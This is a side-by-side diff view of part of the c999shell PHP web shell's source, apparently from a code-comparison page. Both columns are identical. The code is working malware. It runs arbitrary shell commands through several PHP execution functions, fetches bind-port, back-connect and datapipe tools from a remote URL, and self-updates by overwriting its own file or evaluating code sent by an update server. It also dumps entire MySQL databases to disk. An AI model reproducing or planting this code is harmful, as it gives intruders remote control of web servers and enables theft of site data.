| 314 | else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} | 314 | else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} |
| 315 | if (!$ret) {return $ret;} | 315 | if (!$ret) {return $ret;} |
| 316 | } | 316 | } |
| 317 | } | 317 | } |
| 318 | closedir($h); | 318 | closedir($h); |
| 319 | return TRUE; | 319 | return TRUE; |
| 320 | } | 320 | } |
| 321 | } | 321 | } |
| 322 | if (!function_exists("fs_copy_obj")) | 322 | if (!function_exists("fs_copy_obj")) |
| 323 | { | 323 | { |
| 324 | function fs_copy_obj($d,$t) | 324 | function fs_copy_obj($d,$t) |
| 325 | { | 325 | { |
| 326 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); | 326 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
| 327 | $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); | 327 | $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); |
| 328 | if (!is_dir(dirname($t))) {mkdir(dirname($t));} | 328 | if (!is_dir(dirname($t))) {mkdir(dirname($t));} |
| 329 | if (is_dir($d)) | 329 | if (is_dir($d)) |
| 330 | { | 330 | { |
| 331 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} | 331 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
| 332 | if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} | 332 | if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} |
| 333 | return fs_copy_dir($d,$t); | 333 | return fs_copy_dir($d,$t); |
| 334 | } | 334 | } |
| 335 | elseif (is_file($d)) {return copy($d,$t);} | 335 | elseif (is_file($d)) {return copy($d,$t);} |
| 336 | else {return FALSE;} | 336 | else {return FALSE;} |
| 337 | } | 337 | } |
| 338 | } | 338 | } |
| 339 | if (!function_exists("fs_move_dir")) | 339 | if (!function_exists("fs_move_dir")) |
| 340 | { | 340 | { |
| 341 | function fs_move_dir($d,$t) | 341 | function fs_move_dir($d,$t) |
| 342 | { | 342 | { |
| 343 | $h = opendir($d); | 343 | $h = opendir($d); |
| 344 | if (!is_dir($t)) {mkdir($t);} | 344 | if (!is_dir($t)) {mkdir($t);} |
| 345 | while (($o = readdir($h)) !== FALSE) | 345 | while (($o = readdir($h)) !== FALSE) |
| 346 | { | 346 | { |
| 347 | if (($o != ".") and ($o != "..")) | 347 | if (($o != ".") and ($o != "..")) |
| 348 | { | 348 | { |
| 349 | $ret = TRUE; | 349 | $ret = TRUE; |
| 350 | if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} | 350 | if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} |
| 351 | else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} | 351 | else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} |
| 352 | if (!$ret) {return $ret;} | 352 | if (!$ret) {return $ret;} |
| 353 | } | 353 | } |
| 354 | } | 354 | } |
| 355 | closedir($h); | 355 | closedir($h); |
| 356 | return TRUE; | 356 | return TRUE; |
| 357 | } | 357 | } |
| 358 | } | 358 | } |
| 359 | if (!function_exists("fs_move_obj")) | 359 | if (!function_exists("fs_move_obj")) |
| 360 | { | 360 | { |
| 361 | function fs_move_obj($d,$t) | 361 | function fs_move_obj($d,$t) |
| 362 | { | 362 | { |
| 363 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); | 363 | $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); |
| 364 | $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); | 364 | $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); |
| 365 | if (is_dir($d)) | 365 | if (is_dir($d)) |
| 366 | { | 366 | { |
| 367 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} | 367 | if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} |
| 368 | if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} | 368 | if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} |
| 369 | return fs_move_dir($d,$t); | 369 | return fs_move_dir($d,$t); |
| 370 | } | 370 | } |
| 371 | elseif (is_file($d)) | 371 | elseif (is_file($d)) |
| 372 | { | 372 | { |
| 373 | if(copy($d,$t)) {return unlink($d);} | 373 | if(copy($d,$t)) {return unlink($d);} |
| 374 | else {unlink($t); return FALSE;} | 374 | else {unlink($t); return FALSE;} |
| 375 | } | 375 | } |
| 376 | else {return FALSE;} | 376 | else {return FALSE;} |
| 377 | } | 377 | } |
| 378 | } | 378 | } |
| 379 | if (!function_exists("fs_rmdir")) | 379 | if (!function_exists("fs_rmdir")) |
| 380 | { | 380 | { |
| 381 | function fs_rmdir($d) | 381 | function fs_rmdir($d) |
| 382 | { | 382 | { |
| 383 | $h = opendir($d); | 383 | $h = opendir($d); |
| 384 | while (($o = readdir($h)) !== FALSE) | 384 | while (($o = readdir($h)) !== FALSE) |
| 385 | { | 385 | { |
| 386 | if (($o != ".") and ($o != "..")) | 386 | if (($o != ".") and ($o != "..")) |
| 387 | { | 387 | { |
| 388 | if (!is_dir($d.$o)) {unlink($d.$o);} | 388 | if (!is_dir($d.$o)) {unlink($d.$o);} |
| 389 | else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} | 389 | else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} |
| 390 | } | 390 | } |
| 391 | } | 391 | } |
| 392 | closedir($h); | 392 | closedir($h); |
| 393 | rmdir($d); | 393 | rmdir($d); |
| 394 | return !is_dir($d); | 394 | return !is_dir($d); |
| 395 | } | 395 | } |
| 396 | } | 396 | } |
| 397 | if (!function_exists("fs_rmobj")) | 397 | if (!function_exists("fs_rmobj")) |
| 398 | { | 398 | { |
| 399 | function fs_rmobj($o) | 399 | function fs_rmobj($o) |
| 400 | { | 400 | { |
| 401 | $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); | 401 | $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); |
| 402 | if (is_dir($o)) | 402 | if (is_dir($o)) |
| 403 | { | 403 | { |
| 404 | if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} | 404 | if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} |
| 405 | return fs_rmdir($o); | 405 | return fs_rmdir($o); |
| 406 | } | 406 | } |
| 407 | elseif (is_file($o)) {return unlink($o);} | 407 | elseif (is_file($o)) {return unlink($o);} |
| 408 | else {return FALSE;} | 408 | else {return FALSE;} |
| 409 | } | 409 | } |
| 410 | } | 410 | } |
| 411 | if (!function_exists("myshellexec")) | 411 | if (!function_exists("myshellexec")) |
| 412 | { | 412 | { |
| 413 | function myshellexec($cmd) | 413 | function myshellexec($cmd) |
| 414 | { | 414 | { |
| 415 | global $disablefunc; | 415 | global $disablefunc; |
| 416 | $result = ""; | 416 | $result = ""; |
| 417 | if (!empty($cmd)) | 417 | if (!empty($cmd)) |
| 418 | { | 418 | { |
| 419 | if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} | 419 | if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} |
| 420 | elseif (($result = `$cmd`) !== FALSE) {} | 420 | elseif (($result = `$cmd`) !== FALSE) {} |
| 421 | elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} | 421 | elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} |
| 422 | elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} | 422 | elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} |
| 423 | elseif (is_resource($fp = popen($cmd,"r"))) | 423 | elseif (is_resource($fp = popen($cmd,"r"))) |
| 424 | { | 424 | { |
| 425 | $result = ""; | 425 | $result = ""; |
| 426 | while(!feof($fp)) {$result .= fread($fp,1024);} | 426 | while(!feof($fp)) {$result .= fread($fp,1024);} |
| 427 | pclose($fp); | 427 | pclose($fp); |
| 428 | } | 428 | } |
| 429 | } | 429 | } |
| 430 | return $result; | 430 | return $result; |
| 431 | } | 431 | } |
| 432 | } | 432 | } |
| 433 | if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} | 433 | if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} |
| 434 | if (!function_exists("view_perms")) | 434 | if (!function_exists("view_perms")) |
| 435 | { | 435 | { |
| 436 | function view_perms($mode) | 436 | function view_perms($mode) |
| 437 | { | 437 | { |
| 438 | if (($mode & 0xC000) === 0xC000) {$type = "s";} | 438 | if (($mode & 0xC000) === 0xC000) {$type = "s";} |
| 439 | elseif (($mode & 0x4000) === 0x4000) {$type = "d";} | 439 | elseif (($mode & 0x4000) === 0x4000) {$type = "d";} |
| 440 | elseif (($mode & 0xA000) === 0xA000) {$type = "l";} | 440 | elseif (($mode & 0xA000) === 0xA000) {$type = "l";} |
| 441 | elseif (($mode & 0x8000) === 0x8000) {$type = "-";} | 441 | elseif (($mode & 0x8000) === 0x8000) {$type = "-";} |
| 442 | elseif (($mode & 0x6000) === 0x6000) {$type = "b";} | 442 | elseif (($mode & 0x6000) === 0x6000) {$type = "b";} |
| 443 | elseif (($mode & 0x2000) === 0x2000) {$type = "c";} | 443 | elseif (($mode & 0x2000) === 0x2000) {$type = "c";} |
| 444 | elseif (($mode & 0x1000) === 0x1000) {$type = "p";} | 444 | elseif (($mode & 0x1000) === 0x1000) {$type = "p";} |
| 445 | else {$type = "?";} | 445 | else {$type = "?";} |
| 446 | 446 | ||
| 447 | $owner["read"] = ($mode & 00400)?"r":"-"; | 447 | $owner["read"] = ($mode & 00400)?"r":"-"; |
| 448 | $owner["write"] = ($mode & 00200)?"w":"-"; | 448 | $owner["write"] = ($mode & 00200)?"w":"-"; |
| 449 | $owner["execute"] = ($mode & 00100)?"x":"-"; | 449 | $owner["execute"] = ($mode & 00100)?"x":"-"; |
| 450 | $group["read"] = ($mode & 00040)?"r":"-"; | 450 | $group["read"] = ($mode & 00040)?"r":"-"; |
| 451 | $group["write"] = ($mode & 00020)?"w":"-"; | 451 | $group["write"] = ($mode & 00020)?"w":"-"; |
| 452 | $group["execute"] = ($mode & 00010)?"x":"-"; | 452 | $group["execute"] = ($mode & 00010)?"x":"-"; |
| 453 | $world["read"] = ($mode & 00004)?"r":"-"; | 453 | $world["read"] = ($mode & 00004)?"r":"-"; |
| 454 | $world["write"] = ($mode & 00002)? "w":"-"; | 454 | $world["write"] = ($mode & 00002)? "w":"-"; |
| 455 | $world["execute"] = ($mode & 00001)?"x":"-"; | 455 | $world["execute"] = ($mode & 00001)?"x":"-"; |
| 456 | 456 | ||
| 457 | if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} | 457 | if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} |
| 458 | if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} | 458 | if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} |
| 459 | if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} | 459 | if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} |
| 460 | 460 | ||
| 461 | return $type.join("",$owner).join("",$group).join("",$world); | 461 | return $type.join("",$owner).join("",$group).join("",$world); |
| 462 | } | 462 | } |
| 463 | } | 463 | } |
| 464 | if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} | 464 | if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} |
| 465 | if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} | 465 | if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} |
| 466 | if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} | 466 | if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} |
| 467 | if (!function_exists("parse_perms")) | 467 | if (!function_exists("parse_perms")) |
| 468 | { | 468 | { |
| 469 | function parse_perms($mode) | 469 | function parse_perms($mode) |
| 470 | { | 470 | { |
| 471 | if (($mode & 0xC000) === 0xC000) {$t = "s";} | 471 | if (($mode & 0xC000) === 0xC000) {$t = "s";} |
| 472 | elseif (($mode & 0x4000) === 0x4000) {$t = "d";} | 472 | elseif (($mode & 0x4000) === 0x4000) {$t = "d";} |
| 473 | elseif (($mode & 0xA000) === 0xA000) {$t = "l";} | 473 | elseif (($mode & 0xA000) === 0xA000) {$t = "l";} |
| 474 | elseif (($mode & 0x8000) === 0x8000) {$t = "-";} | 474 | elseif (($mode & 0x8000) === 0x8000) {$t = "-";} |
| 475 | elseif (($mode & 0x6000) === 0x6000) {$t = "b";} | 475 | elseif (($mode & 0x6000) === 0x6000) {$t = "b";} |
| 476 | elseif (($mode & 0x2000) === 0x2000) {$t = "c";} | 476 | elseif (($mode & 0x2000) === 0x2000) {$t = "c";} |
| 477 | elseif (($mode & 0x1000) === 0x1000) {$t = "p";} | 477 | elseif (($mode & 0x1000) === 0x1000) {$t = "p";} |
| 478 | else {$t = "?";} | 478 | else {$t = "?";} |
| 479 | $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; | 479 | $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; |
| 480 | $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; | 480 | $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; |
| 481 | $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; | 481 | $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; |
| 482 | return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); | 482 | return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); |
| 483 | } | 483 | } |
| 484 | } | 484 | } |
| 485 | if (!function_exists("parsesort")) | 485 | if (!function_exists("parsesort")) |
| 486 | { | 486 | { |
| 487 | function parsesort($sort) | 487 | function parsesort($sort) |
| 488 | { | 488 | { |
| 489 | $one = intval($sort); | 489 | $one = intval($sort); |
| 490 | $second = substr($sort,-1); | 490 | $second = substr($sort,-1); |
| 491 | if ($second != "d") {$second = "a";} | 491 | if ($second != "d") {$second = "a";} |
| 492 | return array($one,$second); | 492 | return array($one,$second); |
| 493 | } | 493 | } |
| 494 | } | 494 | } |
| 495 | if (!function_exists("view_perms_color")) | 495 | if (!function_exists("view_perms_color")) |
| 496 | { | 496 | { |
| 497 | function view_perms_color($o) | 497 | function view_perms_color($o) |
| 498 | { | 498 | { |
| 499 | if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} | 499 | if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} |
| 500 | elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} | 500 | elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} |
| 501 | else {return "<font color=green>".view_perms(fileperms($o))."</font>";} | 501 | else {return "<font color=green>".view_perms(fileperms($o))."</font>";} |
| 502 | } | 502 | } |
| 503 | } | 503 | } |
| 504 | if (!function_exists("c999getsource")) | 504 | if (!function_exists("c999getsource")) |
| 505 | { | 505 | { |
| 506 | function c999getsource($fn) | 506 | function c999getsource($fn) |
| 507 | { | 507 | { |
| 508 | global $c999sh_sourcesurl; | 508 | global $c999sh_sourcesurl; |
| 509 | $array = array( | 509 | $array = array( |
| 510 | "c999sh_bindport.pl" => "c999sh_bindport_pl.txt", | 510 | "c999sh_bindport.pl" => "c999sh_bindport_pl.txt", |
| 511 | "c999sh_bindport.c" => "c999sh_bindport_c.txt", | 511 | "c999sh_bindport.c" => "c999sh_bindport_c.txt", |
| 512 | "c999sh_backconn.pl" => "c999sh_backconn_pl.txt", | 512 | "c999sh_backconn.pl" => "c999sh_backconn_pl.txt", |
| 513 | "c999sh_backconn.c" => "c999sh_backconn_c.txt", | 513 | "c999sh_backconn.c" => "c999sh_backconn_c.txt", |
| 514 | "c999sh_datapipe.pl" => "c999sh_datapipe_pl.txt", | 514 | "c999sh_datapipe.pl" => "c999sh_datapipe_pl.txt", |
| 515 | "c999sh_datapipe.c" => "c999sh_datapipe_c.txt", | 515 | "c999sh_datapipe.c" => "c999sh_datapipe_c.txt", |
| 516 | ); | 516 | ); |
| 517 | $name = $array[$fn]; | 517 | $name = $array[$fn]; |
| 518 | if ($name) {return file_get_contents($c999sh_sourcesurl.$name);} | 518 | if ($name) {return file_get_contents($c999sh_sourcesurl.$name);} |
| 519 | else {return FALSE;} | 519 | else {return FALSE;} |
| 520 | } | 520 | } |
| 521 | } | 521 | } |
| 522 | if (!function_exists("c999sh_getupdate")) | 522 | if (!function_exists("c999sh_getupdate")) |
| 523 | { | 523 | { |
| 524 | function c999sh_getupdate($update = TRUE) | 524 | function c999sh_getupdate($update = TRUE) |
| 525 | {return "Can't connect to update-server!"; | 525 | {return "Can't connect to update-server!"; |
| 526 | 526 | ||
| 527 | $url = $GLOBALS["c999sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; | 527 | $url = $GLOBALS["c999sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; |
| 528 | $data = @file_get_contents($url); | 528 | $data = @file_get_contents($url); |
| 529 | if (!$data) {return "Can't connect to update-server!";} | 529 | if (!$data) {return "Can't connect to update-server!";} |
| 530 | else | 530 | else |
| 531 | { | 531 | { |
| 532 | $data = ltrim($data); | 532 | $data = ltrim($data); |
| 533 | $string = substr($data,3,ord($data{2})); | 533 | $string = substr($data,3,ord($data{2})); |
| 534 | if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} | 534 | if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} |
| 535 | if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} | 535 | if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} |
| 536 | if ($data{0} == "\x99" and $data{1} == "\x03") | 536 | if ($data{0} == "\x99" and $data{1} == "\x03") |
| 537 | { | 537 | { |
| 538 | $string = explode("\x01",$string); | 538 | $string = explode("\x01",$string); |
| 539 | if ($update) | 539 | if ($update) |
| 540 | { | 540 | { |
| 541 | $confvars = array(); | 541 | $confvars = array(); |
| 542 | $sourceurl = $string[0]; | 542 | $sourceurl = $string[0]; |
| 543 | $source = file_get_contents($sourceurl); | 543 | $source = file_get_contents($sourceurl); |
| 544 | if (!$source) {return "Can't fetch update!";} | 544 | if (!$source) {return "Can't fetch update!";} |
| 545 | else | 545 | else |
| 546 | { | 546 | { |
| 547 | $fp = fopen(__FILE__,"w"); | 547 | $fp = fopen(__FILE__,"w"); |
| 548 | if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c999shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} | 548 | if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c999shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} |
| 549 | else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} | 549 | else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} |
| 550 | } | 550 | } |
| 551 | } | 551 | } |
| 552 | else {return "New version are available: ".$string[1];} | 552 | else {return "New version are available: ".$string[1];} |
| 553 | } | 553 | } |
| 554 | elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} | 554 | elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} |
| 555 | else {return "Error in protocol: segmentation failed! (".$data.") ";} | 555 | else {return "Error in protocol: segmentation failed! (".$data.") ";} |
| 556 | } | 556 | } |
| 557 | } | 557 | } |
| 558 | } | 558 | } |
| 559 | if (!function_exists("mysql_dump")) | 559 | if (!function_exists("mysql_dump")) |
| 560 | { | 560 | { |
| 561 | function mysql_dump($set) | 561 | function mysql_dump($set) |
| 562 | { | 562 | { |
| 563 | global $shver; | 563 | global $shver; |
| 564 | $sock = $set["sock"]; | 564 | $sock = $set["sock"]; |
| 565 | $db = $set["db"]; | 565 | $db = $set["db"]; |
| 566 | $print = $set["print"]; | 566 | $print = $set["print"]; |
| 567 | $nl2br = $set["nl2br"]; | 567 | $nl2br = $set["nl2br"]; |
| 568 | $file = $set["file"]; | 568 | $file = $set["file"]; |
| 569 | $add_drop = $set["add_drop"]; | 569 | $add_drop = $set["add_drop"]; |
| 570 | $tabs = $set["tabs"]; | 570 | $tabs = $set["tabs"]; |
| 571 | $onlytabs = $set["onlytabs"]; | 571 | $onlytabs = $set["onlytabs"]; |
| 572 | $ret = array(); | 572 | $ret = array(); |
| 573 | $ret["err"] = array(); | 573 | $ret["err"] = array(); |
| 574 | if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} | 574 | if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} |
| 575 | if (empty($db)) {$db = "db";} | 575 | if (empty($db)) {$db = "db";} |
| 576 | if (empty($print)) {$print = 0;} | 576 | if (empty($print)) {$print = 0;} |
| 577 | if (empty($nl2br)) {$nl2br = 0;} | 577 | if (empty($nl2br)) {$nl2br = 0;} |
| 578 | if (empty($add_drop)) {$add_drop = TRUE;} | 578 | if (empty($add_drop)) {$add_drop = TRUE;} |
| 579 | if (empty($file)) | 579 | if (empty($file)) |
| 580 | { | 580 | { |
| 581 | $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; | 581 | $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; |
| 582 | } | 582 | } |
| 583 | if (!is_array($tabs)) {$tabs = array();} | 583 | if (!is_array($tabs)) {$tabs = array();} |
| 584 | if (empty($add_drop)) {$add_drop = TRUE;} | 584 | if (empty($add_drop)) {$add_drop = TRUE;} |
| 585 | if (sizeof($tabs) == 0) | 585 | if (sizeof($tabs) == 0) |
| 586 | { | 586 | { |
| 587 | // retrive tables-list | 587 | // retrive tables-list |
| 588 | $res = mysql_query("SHOW TABLES FROM ".$db, $sock); | 588 | $res = mysql_query("SHOW TABLES FROM ".$db, $sock); |
| 589 | if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} | 589 | if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} |
| 590 | } | 590 | } |
| 591 | $out = "# Dumped by c999Shell.SQL v. ".$shver." | 591 | $out = "# Dumped by c999Shell.SQL v. ".$shver." |
| 592 | # Home page: http://ccteam.ru | 592 | # Home page: http://ccteam.ru |
| 593 | # | 593 | # |
| 594 | # Host settings: | 594 | # Host settings: |
| 595 | # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." | 595 | # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." |
| 596 | # Date: ".date("d.m.Y H:i:s")." | 596 | # Date: ".date("d.m.Y H:i:s")." |
| 597 | # DB: \"".$db."\" | 597 | # DB: \"".$db."\" |
| 598 | #--------------------------------------------------------- | 598 | #--------------------------------------------------------- |
| 599 | "; | 599 | "; |
| 600 | $c = count($onlytabs); | 600 | $c = count($onlytabs); |
| 601 | foreach($tabs as $tab) | 601 | foreach($tabs as $tab) |
| 602 | { | 602 | { |
| 603 | if ((in_array($tab,$onlytabs)) or (!$c)) | 603 | if ((in_array($tab,$onlytabs)) or (!$c)) |
| 604 | { | 604 | { |
| 605 | if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} | 605 | if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} |
| 606 | // recieve query for create table structure | 606 | // recieve query for create table structure |
| 607 | $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); | 607 | $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); |
| 608 | if (!$res) {$ret["err"][] = mysql_smarterror();} | 608 | if (!$res) {$ret["err"][] = mysql_smarterror();} |
| 609 | else | 609 | else |
| 610 | { | 610 | { |
| 611 | $row = mysql_fetch_row($res); | 611 | $row = mysql_fetch_row($res); |
| 612 | $out .= $row["1"].";\n\n"; | 612 | $out .= $row["1"].";\n\n"; |
| 613 | // recieve table variables | 613 | // recieve table variables |
| 614 | $res = mysql_query("SELECT * FROM `$tab`", $sock); | 614 | $res = mysql_query("SELECT * FROM `$tab`", $sock); |
| 615 | if (mysql_num_rows($res) > 0) | 615 | if (mysql_num_rows($res) > 0) |
| 616 | { | 616 | { |
| 617 | while ($row = mysql_fetch_assoc($res)) | 617 | while ($row = mysql_fetch_assoc($res)) |
| 618 | { | 618 | { |
| 619 | $keys = implode("`, `", array_keys($row)); | 619 | $keys = implode("`, `", array_keys($row)); |
| 620 | $values = array_values($row); | 620 | $values = array_values($row); |
| 621 | foreach($values as $k=>$v) {$values[$k] = addslashes($v);} | 621 | foreach($values as $k=>$v) {$values[$k] = addslashes($v);} |
| 622 | $values = implode("', '", $values); | 622 | $values = implode("', '", $values); |
| 623 | $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; | 623 | $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; |
| 624 | $out .= $sql; | 624 | $out .= $sql; |
| 625 | } | 625 | } |
| 626 | } | 626 | } |
| 627 | } | 627 | } |
| 628 | } | 628 | } |
| 629 | } | 629 | } |
| 630 | $out .= "#---------------------------------------------------------------------------------\n\n"; | 630 | $out .= "#---------------------------------------------------------------------------------\n\n"; |
| 631 | if ($file) | 631 | if ($file) |
| 632 | { | 632 | { |
| 633 | $fp = fopen($file, "w"); | 633 | $fp = fopen($file, "w"); |
| 634 | if (!$fp) {$ret["err"][] = 2;} | 634 | if (!$fp) {$ret["err"][] = 2;} |
| 635 | else | 635 | else |
| 636 | { | 636 | { |
| 637 | fwrite ($fp, $out); | 637 | fwrite ($fp, $out); |
| 638 | fclose ($fp); | 638 | fclose ($fp); |
| 639 | } | 639 | } |
| 640 | } | 640 | } |
| 641 | if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} | 641 | if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} |
| 642 | return $out; | 642 | return $out; |
| 643 | } | 643 | } |
| 644 | } | 644 | } |
| 645 | if (!function_exists("mysql_buildwhere")) | 645 | if (!function_exists("mysql_buildwhere")) |
| 646 | { | 646 | { |
| 647 | function mysql_buildwhere($array,$sep=" and",$functs=array()) | 647 | function mysql_buildwhere($array,$sep=" and",$functs=array()) |
| 648 | { | 648 | { |
| 649 | if (!is_array($array)) {$array = array();} | 649 | if (!is_array($array)) {$array = array();} |
| 650 | $result = ""; | 650 | $result = ""; |
| 651 | foreach($array as $k=>$v) | 651 | foreach($array as $k=>$v) |
| 652 | { | 652 | { |
| 653 | $value = ""; | 653 | $value = ""; |
| 654 | if (!empty($functs[$k])) {$value .= $functs[$k]."(";} | 654 | if (!empty($functs[$k])) {$value .= $functs[$k]."(";} |
| 655 | $value .= "'".addslashes($v)."'"; | 655 | $value .= "'".addslashes($v)."'"; |
| 656 | if (!empty($functs[$k])) {$value .= ")";} | 656 | if (!empty($functs[$k])) {$value .= ")";} |
| 657 | $result .= "`".$k."` = ".$value.$sep; | 657 | $result .= "`".$k."` = ".$value.$sep; |
| 658 | } | 658 | } |
| 659 | $result = substr($result,0,strlen($result)-strlen($sep)); | 659 | $result = substr($result,0,strlen($result)-strlen($sep)); |
| 660 | return $result; | 660 | return $result; |
